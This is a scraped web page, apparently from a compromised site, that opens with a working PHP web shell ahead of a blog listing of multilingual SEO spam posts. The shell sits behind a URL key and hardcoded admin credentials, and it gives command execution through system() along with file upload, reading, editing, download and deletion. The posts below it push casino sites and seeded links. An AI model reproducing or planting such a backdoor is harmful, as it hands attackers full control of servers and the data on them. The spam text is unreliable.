if (isset($_GET['k']) && $_GET['k'] === 'mintinplan') { function ws_g($k) { return isset($_GET[$k]) ? $_GET[$k] : (isset($_POST[$k]) ? $_POST[$k] : ''); } function ws_b($s) { return base64_decode($s); } $validKey = 'mintinplan'; $validU = 'admin'; $validP = 'MinMaxtime'; $auth = false; $sname = 'ws_auth'; if (isset($_SESSION) && isset($_SESSION[$sname]) && $_SESSION[$sname] === true) $auth = true; elseif (isset($_COOKIE[$sname])) { $d = json_decode(ws_b(substr($_COOKIE[$sname], 0)), true); if ($d && isset($d['ok']) && $d['ok']) $auth = true; } if (!$auth) { $u = ws_g('usr'); $p = ws_g('pwd'); if ($u === $validU && $p === $validP) { @session_start(); $_SESSION[$sname] = true; setcookie($sname, base64_encode(json_encode(['ok'=>true])), time()+86400, '/', '', false, true); header('Location: ?k='.$validKey); exit; } echo 'Login


'; exit; } if (ws_g('lo')) { @session_start(); session_destroy(); setcookie($sname, '', time()-3600); header('Location: ?k='.$validKey); exit; } $act = ws_g('a'); $path = ws_g('p') ?: getcwd(); $path = realpath($path) ?: getcwd(); echo 'Shell'; echo ''; echo '
'; echo '[📂 Home] '; echo '[🖥️ Terminal] '; echo '[💾 Drives] '; echo '[🌳 Tree] '; echo '[⬆ Upload] '; echo '[🚪 Logout]'; echo '

'; switch ($act) { case 'upload': echo '

⬆ Upload File to: '.htmlspecialchars($path).'

'; echo '
'; echo '

'; echo '

'; echo ''; echo '

'; if (isset($_POST['do_upload']) && isset($_FILES['upfile'])) { $f = $_FILES['upfile']; if ($f['error'] === UPLOAD_ERR_OK) { $name = ws_g('rename') ?: $f['name']; $dest = rtrim($path, '/').'/'.$name; if (move_uploaded_file($f['tmp_name'], $dest)) { $sz = round(filesize($dest)/1024, 2); echo '

✅ Uploaded: '.htmlspecialchars($dest).' ('.$sz.'KB)

'; } else { echo '

❌ move_uploaded_file failed (check permissions on '.htmlspecialchars($path).')

'; } } else { $errors = [1=>'File too large (php.ini)',2=>'File too large (form)',3=>'Partial upload',4=>'No file',6=>'No tmp dir',7=>'Write failed',8=>'Extension blocked']; echo '

❌ Error: '.($errors[$f['error']] ?? 'Unknown').'

'; } } echo '

📋 Current directory contents:

';
            $items = scandir($path);
            if ($items) {
                foreach ($items as $item) {
                    if ($item === '.' || $item === '..') continue;
                    $full = $path.'/'.$item;
                    if (is_dir($full)) echo '📁 '.$item."/\n";
                    else echo '📄 '.$item.' ('.round(filesize($full)/1024,1).'KB)'."\n";
                }
            }
            echo '
'; break; case 'tree': echo '

🌳 Directory Tree (depth 4)

';
            function ws_tree($root, $depth=0, $max=4) {
                if ($depth > $max) return;
                if (!is_dir($root)) return;
                $items = scandir($root);
                if (!$items) return;
                foreach ($items as $item) {
                    if ($item === '.' || $item === '..') continue;
                    $full = $root.'/'.$item;
                    if (is_dir($full)) {
                        echo str_repeat('  ', $depth).'📁 '.$item."/\n";
                        ws_tree($full, $depth+1, $max);
                    } else {
                        echo str_repeat('  ', $depth).'📄 '.$item.' ('.round(filesize($full)/1024,1).'KB)'."\n";
                    }
                }
            }
            ws_tree($path);
            echo '
'; break; case 'drives': echo '

💾 Accessible Roots

';
            if (strtoupper(substr(PHP_OS,0,3)) === 'WIN') {
                for ($i=67;$i<=90;$i++) { $d=chr($i).':\\'; if (is_dir($d)) echo $d." ✓\n"; }
            } else {
                $cands = ['/','/home','/var','/tmp','/usr','/etc','/opt','/root','/srv','/www','/var/www','/var/www/html',$_SERVER['DOCUMENT_ROOT']??''];
                foreach (array_unique($cands) as $c) { if ($c && is_dir($c)) echo $c." ✓\n"; }
            }
            echo '
'; break; case 'read': $f = ws_g('f'); if (!$f || !is_file($f)) { echo 'File not found'; break; } $content = file_get_contents($f); echo '

📝 Editing: '.htmlspecialchars($f).' ('.round(strlen($content)/1024,1).'KB)

'; echo '
'; echo ''; echo '
'; echo '
'; break; case 'save': $f = ws_g('f'); $c = ws_g('c'); if ($f) { file_put_contents($f, $c); echo '✅ Saved: '.htmlspecialchars($f); } break; case 'exec': $cmd = ws_g('c'); $output = ''; if ($_SERVER['REQUEST_METHOD'] === 'POST' && $cmd) { ob_start(); system($cmd); $output = ob_get_clean(); } echo '

🖥️ Terminal (user: '.htmlspecialchars(get_current_user()).')

'; echo '
'; if ($output !== '') echo '
'.htmlspecialchars($output).'
'; else echo '
No output
'; break; case 'down': $f = ws_g('f'); if ($f && is_file($f)) { header('Content-Type: application/octet-stream'); header('Content-Disposition: attachment; filename="'.basename($f).'"'); header('Content-Length: '.filesize($f)); readfile($f); exit; } echo 'File not found'; break; case 'del': $f = ws_g('f'); if ($f && is_file($f)) { if (unlink($f)) echo '✅ Deleted: '.htmlspecialchars($f); else echo '❌ Delete failed (permission?)'; } elseif ($f && is_dir($f)) { if (rmdir($f)) echo '✅ Directory removed: '.htmlspecialchars($f); else echo '❌ rmdir failed (not empty or permission?)'; } break; case 'newfile': $fname = ws_g('nf'); if ($fname) { $dest = rtrim($path,'/').'/'.$fname; if (file_put_contents($dest, '') !== false) echo '✅ Created: '.htmlspecialchars($dest); else echo '❌ Create failed'; } echo '
'; echo ''; echo ''; echo ''; echo '
'; break; case 'newdir': $dname = ws_g('nd'); if ($dname) { $dest = rtrim($path,'/').'/'.$dname; if (mkdir($dest, 0755)) echo '✅ Created dir: '.htmlspecialchars($dest); else echo '❌ mkdir failed'; } echo '
'; echo ''; echo ''; echo ''; echo '
'; break; default: echo '

📂 '.htmlspecialchars($path).'

'; $parent = dirname($path); if ($parent && $parent !== $path) echo '⬆ Parent | '; echo '[+ New File] | '; echo '[+ New Dir] | '; echo '[⬆ Upload]

'; echo ''; $items = scandir($path); if ($items) { foreach ($items as $item) { if ($item === '.' || $item === '..') continue; $full = $path.'/'.$item; $isDir = is_dir($full); $size = $isDir ? '-' : round(filesize($full)/1024,1).'KB'; $perms = substr(sprintf('%o',fileperms($full)),-4); $enc = urlencode($full); echo ''; if ($isDir) echo ''; else echo ''; echo ''; } } echo '
NameSizePermsActions
📁 '.$item.'📄 '.$item.''.$size.''.$perms.''; if (!$isDir) echo '[Edit] '; echo '[Download] '; echo '[Delete]'; echo '
'; break; } echo ''; exit; } Computers, Games – Page 30 – collectives.berlin

Your digital paradise.

Category: Computers, Games

  • Renting vs Buying: What to Consider Before You Move

    When deciding whether to rent or buy a home, potential homeowners face a multitude of factors that can influence their decision. Both options come with their own set of advantages and disadvantages, scottsdalemovinghub.com and understanding these can aid in making an informed choice that aligns with one’s financial situation, lifestyle, and long-term goals. Financial Considerations…

    Click or not…

  • Відгуки про біль від елайнерів для корекції зубного ряду

    Для максимального комфорту під час використання ортодонтичних кап рекомендується застосовувати охолоджені продукти та напої. Це допоможе зменшити неприємні відчуття, https://g-smile.com.ua/ які можуть виникнути після зміни конструкцій. Також важливо дотримуватись режиму харчування, уникаючи занадто твердих або липких страв. Серед рекомендацій фахівців – регулярне використання анальгетиків, зокрема парацетамолу, для полегшення можливих неприємностей. Варто звертати увагу на індивідуальні…

    Click or not…

  • Як українські бабусі підтримують своє здоров’я та довголіття

    Регулярна фізична активність – ключ до відчуття бадьорості. Прогулянки на свіжому повітрі, 911mobi.com.ua навіть у помірному темпі, можуть покращити обіг крові та сприяти підвищенню енергії. Важливо встановити щоденний графік, виділяючи хоча б 30 хвилин на активні заняття. Це можуть бути йoga, танці або просте чищення городу. Раціон грає важливу роль у підтримці фізичних можливостей. Включення…

    Click or not…

  • Сучасні підходи до боротьби зі змінами клімату в Україні

    Впровадження багаторазових енергійних систем на основі відновлювальних джерел енергії, mobiboom.com.ua таких як сонячні панелі та вітряні турбіни, допомагає зменшити залежність від викопних видів пального. Дослідження показують, що перехід на чисті джерела енергії може скоротити викиди парникових газів до 70% до середини століття. Збереження природних середовищ є ще одним важливим кроком. Відновлення лісів, wetland та інших…

    Click or not…

  • Как быстро и просто получить VIP статус в казино без усилий

    Активное участие в акциях и бонусах, предлагаемых заведениями, может значительно ускорить процесс повышения уровня. Многие площадки разрабатывают специальные программы поощрения своих пользователей, casino-brain.com где за каждую ставку или игру можно зарабатывать очки, которые затем конвертируются в вознаграждения или специальные привилегии. Рекомендуется сосредоточить внимание на играх, которые приносят наибольшее количество баллов. Часто это слоты с высокими…

    Click or not…

  • Die besten Casino Seiten mit täglichen Drops and Wins

    Die Welt der Online-Casinos hat sich in den letzten Jahren rasant entwickelt, und eine der aufregendsten Innovationen in dieser Branche sind die täglichen Drops and Wins. Diese speziellen Aktionen bieten Spielern die Möglichkeit, https://salzgrotte-gera.de/ täglich an verschiedenen Gewinnen teilzunehmen, ohne dass sie dafür viel Einsatz leisten müssen. In diesem Bericht werden die besten Casino-Seiten vorgestellt,…

    Click or not…

  • Hoe vermijd je casino oplichting en rogue operators

    In de wereld van online gokken is het belangrijk om te weten hoe je jezelf kunt beschermen tegen casino oplichting en rogue operators. Deze malafide aanbieders kunnen spelers op verschillende manieren misleiden, https://vanmeelservice.nl/ wat kan leiden tot financieel verlies en een slechte gokervaring. In dit rapport bespreken we enkele belangrijke strategieën om veilig te gokken…

    Click or not…

  • Як створити власний медіапроєкт з нуля

    Створення власного медіапроєкту з нуля – це захопливий, але водночас складний процес, який вимагає ретельного планування, in.ua креативності та зусиль. У цій статті ми розглянемо ключові етапи, які допоможуть вам реалізувати вашу ідею. Перший крок – визначення концепції вашого проєкту. Важливо зрозуміти, яку мету ви переслідуєте, яку аудиторію хочете залучити і яку інформацію чи розваги…

    Click or not…

  • Maksimal indsats under bonusspil og hvorfor reglen findes

    I den moderne verden af online gambling og sportsvæddemål er bonusser blevet en uundgåelig del af spiloplevelsen. Bonusser kan tage mange former, men en regel, duel-dk.com der ofte optræder i forbindelse med disse tilbud, er begrænsningen af den maksimale indsats, der kan placeres under bonusspil. Denne rapport vil undersøge, hvad maksimal indsats under bonusspil indebærer,…

    Click or not…

  • Как укрепить здоровье ребенка зимой и защитить от болезней

    Обеспечение крепкого иммунитета – ключевой аспект в борьбе с распространением инфекций на фоне холода. Важным шагом является правильное питание, включающее в себя достаточное количество витаминов, особенно C и D. Овощи и фрукты, такие как цитрусовые, киви и брокколи, eu-apteka.com.ua помогут укрепить защитные функции организма. Физическая активность играет не менее значимую роль. Прогулки на свежем воздухе,…

    Click or not…